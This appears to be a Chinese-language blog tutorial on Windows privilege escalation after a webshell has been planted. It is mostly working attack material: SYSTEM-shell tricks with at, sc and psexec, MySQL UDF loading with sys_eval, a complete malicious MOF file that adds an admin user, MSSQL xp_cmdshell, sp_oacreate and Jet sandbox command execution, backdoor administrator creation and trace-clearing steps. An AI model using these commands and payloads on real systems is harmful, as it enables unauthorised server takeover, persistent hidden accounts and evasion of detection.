目录
https://github.com/bitsadmin/wesng
前言:
最近在上计算机组成原理的时候接触到了数据溢出,之前也接触过一点,对于PWN选手研究的会比较深,通过本篇文章,整理提权的常用方法.
当你通过弱口令爆破、敏感文件读取、sql注入等漏洞获取到了管理员的账号和密码登入后台以后,需要提升自己的权限,就得在后台页面中寻找漏洞利用的点,成功上传webshell提升权限.
(一)权限提升权限介绍
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
后台权限(获得方式:爆破,SQL注入猜解,弱口令):
一般网站或者应用后台只能操作应用的界面内容数据,图片等叫做后台权限
无法操作程序的源代码或者服务器上的资源文件。(如果后台存在功能文件操作的话,可以操作文件数据也可以–文件操作管理器–)
网站权限(后台,漏洞,第三方):
查看和修改(是否限制了管理员用户)程序源代码,可以进行网站或者应用的配置文件读取(接口配置信息,数据库配置信息),为后续收集服务器操作系统相关的的信息,为后续提权做准备。
数据库权限:
只能操作数据库用户,数据库的增删改。源码或者配置文件泄露,也可能是网站权限进行的数据库配置文件读取获得。
接口权限:
- 短信支付等接口,邮件接口,第三方登录接口。
- 修改网站支付接口,改为自己。邮件,短信接口。
- 后台权限,网站权限后的获取途径:后台(修改配置信息),网站权限(查看配置文件信息)
前置知识:
Windows提权命令:
systeminfo | 打印系统信息 |
---|---|
whoami | 获得当前用户名 |
whoami /priv | 当前账号权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示DNS缓存 |
route print | 打印路由表 |
arp -a | 打印ARP表 |
hostname | 主机名 |
net user | 列出用户 |
net user UserName | 关于用户信息 |
net use \SMBPATH Pa$$w0rd /u:UserName | 连接SMB |
net localgroup | 列出所有组 |
net localgroup GROUP | 关于指定组的信息 |
net view \127.0.0.1 | 会话打开到当前计算机 |
net session | 开放给其他机器 |
netsh firewall show config | 显示防火墙配置 |
DRIVEROUERY | 列出安装的驱动 |
tasklist /svc | 列出服务任务 |
net start | 列出启动的服务 |
dir /s foo | 在目录中搜索包含指定字符的项 |
dir /s foo == bar | 同上 |
sc query | 列出所有服务 |
sc qc ServiceName | 找到指定服务路径 |
shutdown /r /t/ 0 | 立即重启 |
type file.txt | 打印出内容 |
icacls “C:\Example” | 列出权限 |
wmic qfe get Caption,Description,HotfixID,Installedon | 列出已安装的补丁 |
tasjkill /pid 4048 | 结束进程 |
wmic product get name,version | 查看当前安装程序 |
wmic service list brief | 查询本机服务 |
wmic process list brief | 查询本机进程 |
net share | 查看本机共享列表 |
要搜集的信息大致如下几点:
- 机器的系统及其版本
- 机器的打补丁情况
- 机器安装的服务
- 机器的防火墙策略配置
- 机器的防护软件情况
(二)基于WEB环境下的权限提升
0x01 环境
首先已经把后门传到靶机的服务器
0x02 登入
0x03 信息收集
1、whoami /priv
查看本用户可以执行的操作
2、systeminfo
查看本系统的信息,一般把它放在一个文件里面。比如说systeminfo>jinyouxin.txt
3、补丁筛选
我们通过systeminfo的信息尝试找到可以利用的补丁漏洞
GitHub - vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project
它有一定的缺点,而且比较老,只能在powershell上面执行,我们提权一般在cmd窗口上。
https://github.com/bitsadmin/wesng
这个是是一种基于 Windows systeminfo 实用程序输出的工具,它提供操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。适用于 Windows 操作系统。
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
这个好久没有更新了,里面的漏洞是非常经典的。
0x04 利用MSF或特定EXP提权
利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。
首选msf工具,但是msf工具是隔一段时间更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多expGitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合自己也可以搜索一下。
用法
之前总结过,这里不再介绍。
0x05 总结
信息收集-补丁筛选-利用MSF或特定EXP-执行-flag到手
(三)基于本地环境下的权限提升-AT&SC&PS命令
有些漏洞可能只适应于本地环境提权,不适用于web环境提权,有些提权方法借助系统上的设计,利用开发人员在设计的时候没有考虑到的逻辑上的问题来实现,并不总是依靠漏洞。
0x01 at提权(针对win7之前的操作系统)
1、适用版本
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限
2、AT 命令提权的原理
At命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限。At命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序
当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权
at 12:31 /interactive cmd (在12:31分生成一个交互式的System权限的cmd)
虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的,为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器,在任务管理器里面我们结束掉之前由之前账号开启的桌面进程explorer.exe。然后再添加一个由system权限下开启的桌面进程explorer.exe,或者利用msf生成木马在利用at启动。
0x02 sc提权
1、适用版本
适用于windows 7/8、03/08、12/16, 因为at命令在win7,win8等更高版本的系统上都已经取消掉了。
2、利用原理
SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
3、提权命令
使用sc命令创建一个syscmd的服务,绑定binPath的路径
sc Create syscmd binPath= "cmd /K start" type= own type= interact
启动这个服务
sc start syscmd
0x03 ps提权
1、适用版本
Win2003 & Win2008,pstools是微软官方工具,是为windows提供的第三方工具库,注意,2008要使用psexec64.exePsTools - Windows Sysinternals | Microsoft Learn
2、payload
psexec.exe -accepteula -s -i -d cmd.exe
psexec.exe -accepteula -s -i cmd.exe
(四)数据库提权
0x01 前言
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。
0x02 数据库提权的意义
- WEB 或本地环境如何探针数据库应用(只需要数据库的密码)
- 数据库提权权限用户密码收集等方法(配置文件、存储文件、暴力猜解、其它方式)
- 目前数据库提权对应的技术及方法等(MySQL,Mssql)
0x03 MySQL提权
1. 流程
服务探针-信息收集-提权利用-获取权限
2. UDF 提权知识点
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include 等配置文件
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联) 远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出 dll 文件进行命令执行 select version() select @@basedir
手工创建 plugin 目录或利用 NTFS 流创建 select 'x' into dumpfile
'目录/lib/plugin::INDEX_ALLOCATION';
在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。
create function sys_eval returns string soname 'udf.dll';
两个变量
- 一个是 function_name(函数名),我们想引入的函数是 sys_eval。
- 另一个变量是 shared_library_name(共享包名称),即 udf.dll
至此我们已经引入了 sys_eval 函数,下面就可以使用了。 这个函数用于执行系统命令,用法如下:
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数 select sys_eval('whoami'); #使用系统命令
- 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
- 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)
UDF提权步骤
- 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
- 从udf文件中引入自定义函数(user defined function)
- 执行自定义函数
- 将udf文件上传到指定位置
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本, 否则会显示:Can‘t open shared library ‘udf.dll‘。
如下目录:
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_ sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_ 但是sqlmap 中 自带的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i E:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量
有了udf文件,接下来就是利用各种办法上传到网站指定目录下:
- MySQL<5.0,导出路径随意;
- 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
- MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
- 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll'; //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
- 执行自定义函数
//新建账号waitalone,密码为waitalone.cn
select cmdshell('net user waitalone waitalone.cn /add');
//将waitalone加入管理员组
select cmdshell('net localgroup administrators waitalone /add');
- 清除痕迹
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
3. MOF 知识点:(基于 MYSQL 特性的安全问题)
原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
以下是mof提权的过程:
将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xiaowei.mof,然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:
select load_file('D:\wamp\xiaowei.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下所示:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
可见其中是有一段添加用户的脚本。账号为admin 密码为admin:
4. 启动项提权(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
5. 反弹shell提权(基于利用反弹特性命令执行)
nc -l -p 5577
0x04 Mssql数据库提权
1、使用xp_cmdshell进行提权
由于mssql默认支持外联,因为可以本地通过SqlServer2008客户端使用用户密码(通过信息收集得到)连接。Navicat也能连接,但是推荐用官方的。
启用xp_cmdshell。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
启用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
关闭;
exec sp_configure 'show advanced options',1 ;
reconfigure;
exec sp_configure 'xp_cmdshell',0;
reconfigure;
接下来,我们就可以执行任意命令了:
EXEC master.dbo.xp_cmdshell '命令';
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复:
exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2、使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用sp_oacreate
启用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',0;
RECONFIGURE WITH OVERRIDE;
执行命令:
执行whoami查看权限:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt'
添加用户:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
3、使用SqlServer沙盒提权
依次执行下列sql语句:
--提权语句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1`:为仅在允许范围内
`2`:必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置(暂不执行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
成功创建用户:
参考资料:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客
0x05 Oracle数据库提权演示-自动化工具
oracle提权执行命令工具oracleShell v0.1 - bonelee - 博客园
自动化工具这里不再介绍。